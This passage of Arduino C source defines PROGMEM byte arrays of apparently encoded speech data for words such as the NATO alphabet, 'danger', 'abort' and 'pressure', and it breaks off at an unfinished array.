{0x61,0x5D,0x96,0x49,0x34,0xD2,0x06,0x60,0xC7,0x90,0x0C,0x8C,0x66,0xF6,0x15,0x22,0x4D,0x37,0xAA,0x6A,0xC8,0x2C,0x6D,0xCD,0x28,0xB2,0x15,0x8B,0xE4,0x35,0xB3,0x68,0x79,0x51,0xE6,0xDA,0x9C,0xBE,0x15,0x43,0x89,0xF0,0xA2,0xDB,0x95,0x77,0xA7,0xA6,0x66,0x49,0x77,0xB1,0x9A,0x9E,0x0A,0xD5,0x75,0xEB,0xEE,0xF6,0xB0,0xC6,0xE6,0x83,0xD2,0xE3,0xEB,0x5E,0xD7,0xDA,0x5C,0x48,0x87,0x6D,0x9E,0x7B,0xDF,0xF3,0x89,0x40,0x11,0xCA,0x5D,0x44,0x36,0x00,0x38,0x60,0xEA,0x8C,0x00,0x2C,0xB3,0x6D,0x01,0x01,0x14,0x5F,0x8E,0x81,0xFF,0x07};\nconst uint8_t spLIMA[] PROGMEM = {0x61,0x5A,0x90,0xBA,0xC0,0xD7,0xA6,0x69,0x00,0x19,0x85,0x6A,0xDA,0x9A,0xCD,0x24,0xD9,0xCC,0xCB,0x29,0x46,0x76,0x66,0xF5,0x37,0x3B,0x9B,0xC9,0x48,0x7B,0x50,0xD4,0x8E,0xD9,0xBD,0xA8,0x75,0x6B,0xB3,0x62,0xEE,0xF4,0xB8,0xB5,0xAD,0xFD,0x98,0x8A,0x51,0x0E,0x91,0xB4,0xA3,0x6F,0xBC,0x32,0x8B,0x3A,0xDF,0xE1,0xEE,0xE3,0xCC,0x6A,0x23,0x43,0x57,0xF5,0xA7,0xBE,0xF5,0xFD,0x7F};\nconst uint8_t spMIKE[] PROGMEM = {0x66,0x31,0x3C,0x7C,0x52,0xE3,0xC4,0x69,0xF5,0x85,0x57,0x86,0x51,0xAA,0xD3,0x56,0x75,0xA1,0x69,0x9D,0x6F,0x7D,0xCA,0x6A,0x57,0x23,0x6D,0xF5,0xCD,0x57,0xD1,0x4B,0x50,0x78,0x2C,0xDA,0x75,0x69,0x46,0x77,0xB4,0xCE,0xDB,0xB1,0x45,0xAD,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x18,0xD0,0x3C,0x91,0x03,0x5A,0x09,0xB1,0x80,0x00,0xB2,0x13,0xFE,0x7F};\nconst uint8_t spNOVEMBER[] PROGMEM = {0x6A,0x2B,0x02,0x62,0x4B,0xE3,0xDA,0x75,0x2C,0x5D,0x87,0xB8,0x73,0x9B,0xD5,0x66,0x1D,0x16,0x66,0x7D,0x57,0x9B,0x45,0x59,0x07,0xB7,0x6B,0x55,0xB0,0x99,0xCD,0x9C,0xAD,0x56,0xA1,0x88,0xCE,0x3A,0x99,0x33,0xFB,0xC5,0xCC,0xD5,0xA8,0xA5,0xA9,0x1B,0xDF,0x8E,0xBA,0x05,0xB3,0x34,0xED,0x7C,0xCB,0x9B,0x8F,0xAC,0x38,0xCB,0x0C,0x6D,0x5C,0xB2,0xA2,0x94,0xDA,0xCD,0x4D,0x2C,0x55,0x2B,0x75,0x4A,0xA7,0xBB,0xD5,0x3D,0xA4,0x2D,0x77,0xE5,0x2A,0xEE,0x9C,0xD7,0xB4,0x65,0x77,0xA0,0x9B,0xFA,0xE2,0x9E,0xAE,0x5C,0x0B,0xAA,0xD4,0xB7,0xBF,0xFD,0x6D,0x9E,0xE2,0x1A,0x7C,0x43,0xAF,0x7A,0xCB,0x30,0xCA,0xE6,0x2D,0xFF,0x0F};\nconst uint8_t spOSCAR[] PROGMEM = {0x6B,0xC8,0xE2,0xB2,0x42,0x3A,0xDF,0xFA,0x16,0x27,0x4F,0xAE,0x7D,0xC4,0x17,0xB7,0x2C,0x45,0xAF,0xA4,0xB6,0x6D,0x80,0x03,0xD8,0x0C,0xF0,0xA7,0x9B,0x07,0x3C,0xE0,0x80,0xEB,0xB5,0xC1,0x6C,0x4D,0x5D,0x45,0x69,0xDC,0xD4,0x17,0x37,0x49,0x26,0x4A,0x5B,0x9B,0x53,0x91,0x0D,0xE7,0x9D,0xFD,0x1C,0xDB,0x92,0x9B,0x61,0xB5,0xF4,0x9E,0x5B,0xDD,0xEB,0x99,0xEE,0x12,0x07,0x75,0x52,0x6F,0xFE,0xC2,0x5F,0x5A,0x91,0x0E,0x67,0xF9,0x7F};\nconst uint8_t spPAPA[] PROGMEM = {0x0A,0x70,0x4A,0xB5,0xA5,0x45,0x55,0x84,0x49,0xCC,0x93,0x66,0xD7,0x19,0x26,0x4B,0x4E,0x96,0xDD,0x44,0xBA,0xAE,0xBE,0xD9,0xCC,0x10,0x28,0x42,0xB9,0x8B,0xC8,0x06,0x60,0x80,0xF1,0xE9,0xAB,0xCA,0xA6,0x23,0xD4,0x36,0xDF,0xE1,0x8C,0x55,0x74,0x86,0x6B,0x9F,0xB1,0x67,0xBD,0xE1,0xE6,0xBB,0xDB,0x97,0x53,0x45,0x88,0xCF,0xAE,0xDF,0xFF,0x03};\nconst uint8_t spQUEBEC[] PROGMEM = {0x0C,0x88,0x7E,0x8C,0x02,0xA5,0x0A,0x31,0xDD,0x5C,0xB2,0xAC,0x26,0x5B,0xCF,0x4C,0xEE,0xBB,0xBB,0xDE,0xA7,0xCD,0xA8,0xB4,0x75,0x4D,0x1C,0xB7,0xD1,0xD5,0x28,0xEE,0xE6,0x5B,0x76,0x7B,0x9A,0x1A,0xC4,0x33,0xF3,0xF1,0x6D,0x76,0x3F,0xE7,0xB6,0xB6,0xEC,0x12,0x91,0x9B,0xF2,0x8E,0x40,0x11,0xCA,0x5D,0x44,0x36,0x80,0x00,0x7A,0x2F,0x53,0x40,0x2D,0x24,0x14,0xF8,0x7F};\nconst uint8_t spROMEO[] PROGMEM = {0xA2,0xD5,0x39,0x38,0xCA,0xEC,0xDB,0xA5,0x4C,0xA1,0x98,0x5A,0xB9,0xF2,0xD3,0x47,0x6F,0xE9,0x69,0xCA,0x4E,0xDD,0x89,0x57,0x0E,0x69,0x3F,0x45,0x61,0xD9,0x95,0x98,0x65,0x67,0x25,0x6B,0x86,0x64,0x4C,0xAC,0xF5,0xE2,0x54,0xCD,0x86,0x7A,0xD0,0xE6,0x35,0x4C,0xD7,0x02,0xA5,0x7B,0xF6,0xB0,0xA7,0xBD,0xAC,0xB5,0xAA,0x54,0x1D,0xDB,0xB2,0xF6,0xEC,0xC3,0xD3,0x64,0x73,0xD9,0x63,0xC8,0x2C,0xD5,0xDF,0xE9,0x0C,0xA1,0x33,0xD8,0xF2,0xE6,0x33,0x5E,0xEE,0x09,0xB6,0xB2,0x54,0xDC,0xF8,0xE7,0xFF,0x01};\nconst uint8_t spSIERRA[] PROGMEM = {0x0C,0xF8,0xAD,0xDC,0x02,0x1E,0xB0,0x80,0x06,0x4A,0xDE,0x7D,0x90,0xB8,0xBD,0x1E,0xD5,0xC8,0x45,0xE8,0xF6,0x76,0x56,0xB3,0xDE,0xF5,0xAD,0x4F,0x35,0x72,0xB1,0xB8,0xAE,0x39,0x65,0x0F,0x45,0x56,0xFA,0xE5,0xE4,0x25,0x24,0xE5,0xC8,0xE6,0x91,0xC6,0xC9,0x99,0x6E,0x69,0x7B,0xDA,0xF3,0xD5,0xA4,0xA4,0x95,0x6E,0x5D,0xF6,0xB0,0xB7,0xB5,0x17,0x5B,0xD6,0x2A,0x9B,0xC7,0x9D,0x5D,0x5B,0x9B,0xEF,0xEA,0x77,0x7D,0xCA,0x5F,0x55,0xD9,0x94,0xF4,0xFE,0x7F};\nconst uint8_t spTANGO[] PROGMEM = {0x0E,0x58,0x5A,0xC3,0x02,0x27,0xEB,0xA1,0xC4,0x2B,0x97,0xDC,0xF2,0x16,0x27,0xEF,0x51,0xB9,0x2A,0x2B,0xEF,0xAC,0x64,0x3D,0x60,0x79,0x99,0xE2,0x52,0x74,0x8F,0x9E,0x56,0xAA,0x43,0x99,0x24,0x75,0x5A,0x3A,0x0E,0x4D,0x31,0xC1,0xAC,0x96,0x24,0xCD,0x35,0x96,0x38,0xC9,0xAA,0xD6,0x25,0x17,0x96,0xA6,0xBB,0xE7,0xB0,0xA6,0x2C,0x2A,0xDB,0xC5,0xFB,0x9E,0xE6,0x92,0x76,0x1F,0x3A,0x83,0x2D,0x6F,0x3C,0xC3,0xE5,0x6C,0x65,0xA9,0xB8,0xF1,0xB7,0xBD,0xFF,0x1F};\nconst uint8_t spUNIFORM[] PROGMEM = {0x61,0x3D,0x56,0x98,0xD4,0xB6,0xE6,0xA5,0x8D,0xC7,0xA8,0x01,0xC5,0xDA,0x33,0x2C,0x97,0x06,0x12,0xD9,0x4F,0xD9,0x6D,0x30,0xA6,0x65,0xDF,0x79,0x4B,0x8B,0x11,0xCF,0xE0,0xAE,0x29,0xCD,0x4E,0x5D,0x38,0xEA,0xF5,0xF4,0x64,0x45,0x47,0x84,0xCA,0xE6,0x5D,0xF5,0x96,0x01,0xCD,0x97,0x6A,0x40,0x03,0x1A,0x28,0x5D,0xD0,0xDB,0x61,0xEC,0x7D,0xF7,0x7B,0x3C,0x53,0x16,0xDB,0x9A,0xEA,0xF5,0x2E,0x6B,0x2D,0x6A,0x43,0x46,0xBC,0xCD,0xB3,0x3D,0xD9,0xB5,0xDA,0x70,0xDF,0x72,0xE7,0x94,0xEA,0xCD,0x9D,0xDD,0x9D,0xBC,0x73,0xA9,0x28,0x35,0x4F,0x12,0x41,0xE1,0x96,0xD4,0x3D,0x4D,0x24,0xA7,0x8A,0x94,0xF8,0xFA,0x37,0x7C,0xCD,0x76,0x78,0x50,0xEA,0xF8,0xFD,0x3F};\nconst uint8_t spVICTOR[] PROGMEM = {0x6E,0x2D,0xCA,0xD8,0x43,0xD5,0x99,0xBD,0x58,0xE6,0x70,0xF1,0x9A,0x97,0xD5,0xB6,0x54,0xAA,0x26,0x7D,0x6E,0xB5,0xB2,0xD6,0x8D,0x4D,0x74,0xCB,0x4E,0x4D,0x3C,0xB2,0xAA,0x8B,0x38,0x16,0x40,0xE5,0x8C,0x18,0x40,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x0C,0xB0,0xED,0xA4,0x02,0xAA,0x15,0x5A,0x43,0xF5,0x21,0x54,0x96,0x6D,0x2C,0xA5,0x26,0x7A,0xB9,0xB7,0xBE,0xA5,0x27,0x57,0x87,0x2E,0xF7,0x1F,0xFE,0xDC,0x49,0xBB,0xBC,0x6F,0xFC,0xFD,0xEF,0xFF,0xFF,0x07};\nconst uint8_t spWHISKY[] PROGMEM = {0x04,0x88,0xAE,0x8C,0x03,0x12,0x08,0x51,0x74,0x65,0xE9,0xEC,0x68,0x24,0x59,0x46,0x78,0x41,0xD7,0x13,0x37,0x6D,0x62,0xC3,0x5B,0x6F,0xDC,0xD2,0xEA,0x54,0xD2,0xE3,0x89,0x01,0x7E,0x2B,0xF7,0x80,0x07,0x14,0xD0,0xE5,0x15,0x38,0x60,0x8C,0x70,0x03,0x04,0x29,0x36,0xBA,0x5E,0x14,0x34,0x72,0xF6,0xE8,0xA7,0x6F,0x82,0xF4,0x2D,0x73,0xEA,0x47,0x3A,0x67,0x6A,0xC0,0xF0,0x2F,0xF1,0x4E,0xCF,0xA8,0x8A,0x1C,0xB9,0xD8,0xFF,0xEE,0x1F,0xBB,0x59,0xD0,0xD6,0xFE,0x3F};\nconst uint8_t spXRAY[] PROGMEM = {0x69,0xAE,0xDE,0x34,0x3A,0x6B,0x9F,0xAC,0xA5,0x66,0x0F,0x5F,0x7D,0x8B,0x5B,0xAD,0xAA,0x8D,0xC0,0xB4,0x58,0xDD,0xDB,0xD0,0xB6,0x6E,0xE4,0xE6,0x69,0x10,0x28,0x42,0xB9,0x8B,0xC8,0x06,0x10,0x40,0xCD,0x63,0x1A,0x60,0xC0,0x6F,0x63,0x1C,0xA0,0x00,0x5B,0xFD,0x54,0xEA,0x54,0xE7,0x66,0x4E,0x8D,0xC3,0xD3,0xF4,0xE6,0xA9,0x4F,0x6B,0xAE,0x2E,0x39,0x42,0xFB,0xEE,0x6D,0x1C,0xCD,0x24,0x45,0xF9,0xE7,0x7E,0xF6,0x33,0x5F,0xF9,0x0A,0xCF,0xB4,0x4B,0x94,0xBE,0x27,0x3E,0xF1,0x75,0xEF,0xCC,0x09,0x18,0xB5,0xF8,0xFF,0x01};\nconst uint8_t spYANKEE[] PROGMEM = {0x6E,0xEF,0x42,0x58,0xB6,0x6B,0xA7,0x7D,0x68,0x25,0xCC,0x59,0xB4,0xF6,0x11,0x82,0xC8,0x6A,0xF1,0x1A,0x46,0x2E,0x12,0x8D,0x37,0xA7,0xEF,0xC9,0xC9,0xA3,0x6E,0x9F,0x76,0xD4,0x22,0x73,0x7F,0xB4,0xEA,0x51,0x0B,0x2D,0x62,0xE2,0xA8,0x47,0x43,0xD7,0x2E,0x29,0xAE,0x4D,0x92,0xAA,0x28,0x5C,0x8B,0xB9,0x6A,0xEB,0x24,0x95,0xE3,0x80,0x1D,0x93,0x35,0x90,0xBA,0x59,0x03,0x45,0xB3,0x75,0x19,0x46,0x27,0x96,0x98,0xC5,0x65,0x1F,0xCD,0x88,0xBC,0x16,0xD7,0x3D,0x3D,0x63,0x10,0x49,0x6E,0xED,0xF8,0xFA,0xEF,0xFF,0x01};\nconst uint8_t spZULU[] PROGMEM = {0x6D,0xFE,0xDE,0xC4,0xC4,0xE8,0x29,0x60,0x00,0x2E,0x0F,0x9C,0x6C,0x29,0x71,0x2A,0x4E,0x77,0x93,0x15,0x77,0x2A,0xAE,0xC3,0xCE,0x76,0x3C,0x92,0xA5,0x44,0x78,0xD1,0x6D,0xCF,0x47,0x3B,0xB8,0xBB,0x07,0xF6,0x5B,0x43,0x91,0x6E,0xA9,0xF2,0x65,0x4C,0xC9,0x98,0x97,0x69,0x9F,0xBA,0xE5,0x33,0x9C,0xC1,0x9A,0x8F,0xCA,0xDE,0x70,0x07,0x9D,0xEE,0xC9,0x79,0xE2,0xED,0xFF,0xFF,0x07};\nconst uint8_t spTHE[] PROGMEM = {0x6E,0xAD,0xCC,0x34,0x9C,0x97,0xE8,0x23,0xED,0x5D,0xA4,0xBB,0xF1,0x96,0xD9,0xEE,0xFA,0xD4,0x45,0x75,0xA6,0xC9,0xE6,0x5B,0xDF,0xE6,0x0E,0x67,0xAE,0x7C,0xD3,0x43,0xFB,0xEC,0x7D,0x9E,0xFD,0xFE,0x7F};\nconst uint8_t spWATTS[] PROGMEM = {0xAA,0x15,0x7A,0x23,0x5C,0x12,0xE9,0xD1,0x0D,0x5A,0x76,0x75,0xB2,0xAA,0xD0,0x3B,0xD9,0xED,0x81,0x99,0x4A,0x1B,0xD5,0x8C,0x25,0xFA,0xDD,0xF5,0xA9,0xA3,0x9F,0x2C,0xE3,0x2E,0xB7,0xBE,0xCD,0xEE,0xD6,0x9C,0xDC,0x44,0xAB,0xAD,0x6E,0x67,0x0E,0xE9,0xCD,0x7D,0xBB,0x1E,0x0C,0x1C,0x24,0xCA,0x5C,0x59,0x03,0x00,0x01,0xB6,0x2A,0x15,0xC0,0x2F,0x19,0x1A,0xB0,0x80,0x05,0x2C,0x60,0x80,0xAF,0xA2,0x24,0xF0,0xFF};\nconst uint8_t spMETER[] PROGMEM = {0xA1,0x8F,0x5C,0xB5,0x56,0x92,0xE4,0xE1,0xF4,0xDD,0x0B,0x59,0x6B,0xE3,0x53,0x8C,0x14,0x44,0x15,0x8B,0x46,0x3A,0xB3,0x03,0x7B,0xBE,0x99,0x89,0x49,0xB7,0x72,0xC4,0xEA,0x4C,0x01,0xD8,0x2E,0xC8,0x03,0xA3,0xAB,0x91,0x39,0x2C,0x17,0x8D,0xAE,0x36,0xE6,0x34,0x7F,0x3D,0xE6,0xEA,0x13,0x6C,0x79,0x73,0x3B,0xAA,0x1B,0xB0,0xD3,0x3C,0xFD,0x6A,0x4F,0xF1,0x09,0x35,0x9E,0xA5,0xBE,0xFF,0x0F};\nconst uint8_t spDANGER[] PROGMEM = {0x2D,0xBF,0x21,0x92,0x59,0xB4,0x9F,0xA2,0x87,0x10,0x8E,0xDC,0x72,0xAB,0x5B,0x9D,0x62,0xA6,0x42,0x9E,0x9C,0xB8,0xB3,0x95,0x0D,0xAF,0x14,0x15,0xA5,0x47,0xDE,0x1D,0x7A,0x78,0x3A,0x49,0x65,0x55,0xD0,0x5E,0xAE,0x3A,0xB5,0x53,0x93,0x88,0x65,0xE2,0x00,0xEC,0x9A,0xEA,0x80,0x65,0x82,0xC7,0xD8,0x63,0x0A,0x9A,0x65,0x5D,0x53,0xC9,0x49,0x5C,0xE1,0x7D,0x2F,0x73,0x2F,0x47,0x59,0xC2,0xDE,0x9A,0x27,0x5F,0xF1,0x8B,0xDF,0xFF,0x03};\nconst uint8_t spPRESSURE[] PROGMEM = {0x06,0x28,0xC1,0x4C,0x03,0x2D,0x49,0x59,0x4A,0x9A,0x3D,0x9F,0xAC,0x04,0x2D,0x2D,0x69,0x73,0xB2,0x56,0x4C,0x43,0x6D,0xF5,0xCD,0x5A,0x3E,0x6A,0x89,0x09,0x65,0x71,0xC0,0xAA,0xDB,0x1E,0x88,0x40,0x04,0x46,0xDF,0x63,0x0A,0x9A,0x65,0x1D,0x43,0xC9,0x49,0x5C,0xE1,0x7D,0xCF,0x7B,0x9F,0x47,0xB9,0xCA,0x12,0xF6,0xD6,0x3C,0xF9,0x8B,0x9F,0xFD,0xFF,0x1F};\nconst uint8_t spCHANGE[] PROGMEM = {0x06,0x58,0xD5,0xC3,0x01,0x73,0x6E,0x64,0xC0,0x03,0x2B,0x1B,0xB9,0x95,0xDC,0xFB,0xDE,0xE2,0x14,0xA3,0x06,0x4B,0xE5,0xA2,0x9B,0xEF,0x7C,0x95,0xC3,0x1B,0xCA,0x64,0xA5,0x5D,0xED,0x76,0xCE,0x7D,0x2D,0x6B,0xB3,0x24,0x19,0x11,0x3A,0x1D,0xDD,0x93,0x94,0x7A,0x54,0x7F,0xBA,0xBB,0x4B,0xC5,0x08,0xAD,0x1A,0x9E,0xEE,0x85,0x43,0x2D,0x9E,0x79,0xAA,0x10,0xCA,0xD2,0x2A,0xEA,0xC9,0x82,0xAC,0xC3,0x6B,0xCB,0x87,0x3D,0x51,0xB2,0x75,0x74,0x2D,0xF4,0xCE,0x30,0x2C,0x62,0x76,0x14,0x30,0x94,0x92,0x02,0xC6,0x5C,0xB7,0x00,0x02,0x5A,0x17,0xF9,0x7F};\nconst uint8_t spMINUS[] PROGMEM = {0xE6,0x28,0xC4,0xF8,0x44,0x9A,0xFB,0xCD,0xAD,0x8D,0x2A,0x4E,0x4A,0xBC,0xB8,0x8C,0xB9,0x8A,0xA9,0x48,0xED,0x72,0x87,0xD3,0x74,0x3B,0x1A,0xA9,0x9D,0x6F,0xB3,0xCA,0x5E,0x8C,0xC3,0x7B,0xF2,0xCE,0x5A,0x5E,0x35,0x66,0x5A,0x3A,0xAE,0x55,0xEB,0x9A,0x57,0x75,0xA9,0x29,0x6B,0xEE,0xB6,0xD5,0x4D,0x37,0xEF,0xB5,0x5D,0xC5,0x95,0x84,0xE5,0xA6,0xFC,0x30,0xE0,0x97,0x0C,0x0D,0x58,0x40,0x03,0x1C,0xA0,0xC0,0xFF,0x03};\nconst uint8_t spNOT[] PROGMEM = {0x66,0x6B,0x1A,0x25,0x5B,0xEB,0xFA,0x35,0x2D,0xCD,0x89,0xA7,0xDA,0x9A,0x31,0x34,0x93,0x9E,0xA6,0x4B,0x4E,0x57,0xE5,0x86,0x85,0x6C,0xBE,0xED,0x6D,0x57,0x93,0xFC,0xB9,0x96,0x2D,0x1E,0x4D,0xCE,0xAD,0xE9,0x3E,0x7B,0xF7,0x7D,0x66,0xB3,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x40,0x01,0x4B,0xB8,0x2B,0xE0,0x87,0x68,0x05,0x74,0x9D,0x82,0x80,0x62,0x55,0xFE,0x1F};\nconst uint8_t spSTART[] PROGMEM = {0x04,0xF8,0xC5,0x9C,0x03,0x1A,0xD0,0x80,0x04,0x38,0x00,0x06,0x58,0x22,0x7D,0x65,0x9D,0x87,0x8B,0x5B,0xD7,0x53,0x67,0x37,0x96,0x21,0x79,0x6F,0x7D,0xEB,0xD5,0x64,0xB7,0x92,0x43,0x9B,0xC7,0x50,0xDD,0x92,0x1D,0xF7,0x9E,0x53,0xDF,0xDD,0x59,0xCB,0x21,0xAD,0xF6,0x46,0xA0,0x08,0xE5,0x2E,0x22,0x1B,0x40,0x01,0xDD,0xB2,0x2A,0xE0,0xB7,0x0C,0x03,0x4C,0x9D,0x4A,0x80,0xEA,0x54,0xFE,0x1F};\nconst uint8_t spLINE[] PROGMEM = {0x61,0xED,0x40,0xC7,0xCD,0xD2,0x96,0x65,0x01,0x9E,0x50,0x73,0x5B,0x96,0x83,0x70,0x87,0x2D,0xD9,0x9A,0x3B,0xA9,0x49,0x97,0x2E,0xB7,0xBF,0xDD,0x6D,0x4F,0x5B,0xD5,0xBA,0x95,0x75,0xD9,0xFD,0x1A,0x86,0x6B,0xD6,0x8A,0xC5,0x7B,0x9A,0xF3,0x3C,0xFA,0x51,0xAE,0x9E,0x59,0x55,0x2A,0x72,0xBE,0xC2,0x35,0x12,0xB9,0x88,0xBB,0x89,0x57,0xB8,0x7A,0x72,0x77,0xB0,0x3A,0xE9,0xEF,0x2E,0xC5,0xDD,0x1F,0x87,0xBF,0x8A,0xD0,0xEA,0x68,0xF8,0xFF};\nconst uint8_t spOFF[] PROGMEM = {0x6B,0x4A,0xE2,0xBA,0x8D,0xBC,0xED,0x66,0xD7,0xBB,0x9E,0xC3,0x98,0x93,0xB9,0x18,0xB2,0xDE,0x7D,0x73,0x67,0x88,0xDD,0xC5,0xF6,0x59,0x15,0x55,0x44,0x56,0x71,0x6B,0x06,0x74,0x53,0xA6,0x01,0x0D,0x68,0x80,0x03,0x1C,0xF8,0x7F};\nconst uint8_t spTIME[] PROGMEM = {0x0E,0xD8,0x5A,0x2D,0x00,0x37,0xA6,0x39,0xA0,0x9B,0xB0,0x95,0x17,0x9B,0x1E,0x21,0x2D,0x4F,0x51,0xF4,0x86,0x25,0x6F,0xB9,0xD5,0xA9,0xBB,0x9E,0xE0,0xD6,0x36,0xB7,0xBE,0xED,0x1E,0xD6,0xDC,0x5D,0x29,0xB7,0xAF,0xDE,0x6B,0xDD,0xCB,0xDE,0xB4,0xB1,0xAB,0xD6,0xC9,0x67,0x3C,0xDD,0x35,0x85,0x73,0x98,0xD8,0xFD,0x7F};\nconst uint8_t spAUTOMATIC[] PROGMEM = {0x6B,0xAC,0xA4,0xA7,0x82,0xFD,0xDD,0xF1,0x0E,0x67,0x68,0xB2,0xA2,0x83,0x72,0x1B,0xA0,0x52,0x65,0x03,0xFC,0x24,0x3A,0xEA,0xAD,0xCD,0xD5,0x4C,0xDB,0xA9,0xAB,0x76,0x4B,0x93,0x2D,0x67,0x28,0xA2,0xCC,0xC2,0xF3,0x8C,0x21,0x2B,0xD7,0x70,0xC9,0xD8,0x86,0x4A,0x8D,0xC6,0x35,0x49,0xE9,0x8B,0x54,0x29,0x76,0x37,0x63,0xC8,0xCE,0xDD,0x54,0x6A,0x9D,0xBA,0xC6,0xD2,0xD2,0x58,0x72,0xAB,0x5B,0xDE,0x72,0x35,0x35,0x5B,0x84,0x54,0x6D,0xD3,0xEE,0x90,0x11,0xEA,0x4E,0x5A,0x5B,0x53,0xAA,0xB3,0x2F,0xB9,0xD3,0x59,0xBB,0x6B,0xE5,0x94,0x35,0x7B,0x6F,0xE7,0x34,0xAD,0xD8,0xBA,0x17,0x81,0x22,0x94,0xBB,0x88,0x6C,0x00,0x03,0xB4,0x12,0x22,0x01,0x0E,0xFC,0x3F};\nconst uint8_t spWEIGHT[] PROGMEM = {0x62,0x13,0x7E,0x23,0x4C,0x22,0xEB,0x4D,0xAD,0x46,0x7F,0x5A,0xB0,0x95,0xB4,0x38,0xF3,0xA1,0x4E,0x6D,0xD6,0x94,0xCC,0x9A,0x3B,0x6D,0x39,0x7D,0xF3,0xC1,0x99,0xF2,0xE6,0xB4,0x23,0x0E,0x51,0xF8,0x9A,0xDB,0x8E,0x6E,0xE4,0x04,0xC9,0x7C,0xDC,0x17,0x75,0x8C,0x26,0xA8,0x56,0x8B,0x11,0x28,0x42,0xB9,0x8B,0xC8,0x06,0x00,0x00,0x01,0xBC,0xC0,0x66,0x80,0x1F,0x73,0x04,0xB0,0xDD,0x34,0x02,0x46,0xE9,0xF8,0x7F};\nconst uint8_t spSMOKE[] PROGMEM = {0x08,0xF8,0xBB,0x4D,0x02,0x0A,0x78,0x33,0xCC,0x03,0x1E,0x40,0x40,0x53,0x1A,0x22,0xC8,0x92,0x35,0x87,0x92,0xD4,0x74,0x95,0x99,0x55,0x7B,0x52,0xB7,0x5D,0xEE,0x72,0x57,0xAD,0xF7,0x6E,0xA2,0x84,0xFB,0xD6,0xD1,0x6D,0x4E,0x6E,0x84,0xA3,0x37,0x84,0x8B,0x50,0xEE,0x22,0xB2,0x01,0x80,0x01,0x75,0x14,0x7B,0x80,0x01,0x39,0x98,0xFC,0x3F};\nconst uint8_t spABORT[] PROGMEM = {0x63,0xC9,0xA6,0x2A,0x54,0xD7,0x9C,0xA5,0xF0,0xEC,0x0A,0xCA,0xBB,0x67,0xB6,0x1B,0xD9,0xA6,0xAA,0x59,0xE9,0x46,0x8E,0x20,0xC2,0x83,0x25,0x0B,0x39,0x1D,0x4D,0x4D,0x77,0x37,0x76,0x1A,0x55,0x54,0x53,0xA9,0x94,0x65,0x17,0xAB,0xC8,0xAC,0xDA,0x53,0xB9,0xEF,0x72,0x35,0x51,0x5E,0x58,0xAB,0xFE,0xD5,0x66,0xB5,0x12,0x23,0xFA,0xD7,0x94,0x63,0x53,0x95,0xF8,0x69,0x6B,0xEE,0x4E,0x51,0xE2,0x2F,0x6C,0xB9,0x13,0x57,0x59,0x7F,0x04,0x8A,0x50,0xEE,0x22,0xB2,0x01,0x1C,0xB0,0x9D,0xBA,0x03,0x7E,0x0F,0x53,0xC0,0x48,0x53,0x08,0x88,0xD2,0xEC,0xFF,0x01};\nconst uint8_t spCALL[] PROGMEM = {0x02,0x48,0xA5,0xD8,0x02,0x1A,0x18,0x71,0x16,0x15,0x95,0xA4,0x7A,0x65,0x95,0xD5,0x44,0x88,0xFB,0x5B,0xDC,0x62,0x95,0x49,0x4E,0xA7,0x49,0xB6,0x5D,0xED,0x76,0x76,0x73,0x9A,0x4B,0xD9,0x83,0xBD,0x2A,0xB4,0xCE,0xF5,0x0A,0x77,0x50,0xB9,0x25,0x92,0x25,0xDE,0xE1,0x49,0xC2,0x77,0x44,0x5D,0xFB,0xEF,0xFF,0x01};\nconst uint8_t spCYCLE[] PROGMEM = {0x08,0xF8,0xB3,0x5C,0x03,0x16,0xB0,0x80,0x06,0x56,0x55,0x64,0xB9,0xBB,0xB7,0x39,0x4D,0x71,0xA5,0x15,0xBA,0xF8,0x36,0xBB,0x19,0x75,0xCB,0x8A,0xED,0x35,0xB1,0xB7,0xAC,0x15,0xA1,0xDC,0x45,0x64,0x03,0x03,0xE2,0x10,0x2A,0x53,0x54,0xE3,0x69,0xDC,0x79,0xAD,0x1D,0x67,0x57,0xB0,0xB7,0x76,0x6C,0xAC,0xDD,0xC9,0xEC,0xDB,0xD5,0x70,0x4C,0x07,0x69,0xCD,0x8F,0x7B,0x13,0x9B,0x49,0xA1,0xBC,0xFE,0xFB,0x7F};\nconst uint8_t spDISPLAY[] PROGMEM = {0x04,0x88,0xD0,0x63,0x2C,0x53,0xB5,0xB1,0x52,0x9F,0x3B,0xDF,0x79,0x4F,0x65,0xF8,0xCE,0x5D,0x4D,0xB9,0x29,0xE0,0xCF,0x52,0x0B,0x78,0x40,0x03,0x08,0xC8,0xDC,0x15,0x40,0x02,0xA9,0x2D,0x4A,0x6A,0x45,0xEC,0xB5,0xB6,0xA0,0xCA,0x71,0x4C,0x73,0xEA,0xCA,0x3B,0xC2,0xA5,0xCB,0xAD,0x6E,0x75,0x9A,0xA6,0x93,0xAD,0x62,0xF3,0xED,0xEE,0xB4,0x96,0x1E,0x13,0x25,0x7D,0xF3,0xDE,0xFB,0xDE,0xCE,0xE6,0x15,0xA3,0x6A,0x55,0x7D,0xCA,0x3B,0x62,0x22,0x67,0x6C,0xCE,0xDF,0xFF,0x03};\nconst uint8_t spEQUAL[] PROGMEM = {0x6D,0x18,0x49,0x91,0xBC,0x17,0xEF,0x6E,0x15,0xA3,0x15,0xA2,0xE5,0x93,0x9D,0xB5,0x7C,0x6C,0x07,0xB6,0x7C,0x1C,0xF2,0x11,0x19,0xAC,0xB2,0x0E,0x02,0x45,0x28,0x77,0x11,0xD9,0x00,0x04,0xF0,0xA3,0x88,0x01,0xBE,0x65,0xB4,0x36,0xC8,0x8D,0x08,0xF4,0x33,0xBB,0x39,0xB4,0xB5,0xE2,0xAE,0x0E,0xF2,0xDB,0xD7,0x7A,0xA4,0x33,0xD3,0xEA,0x0E,0xF0,0x9B,0xCE,0xC8,0xAE,0x92,0x24,0x77,0xB8,0x33,0xF8,0x68,0xE6,0xD6,0xF1,0xFE,0x7F};\nconst uint8_t spFAST[] PROGMEM = 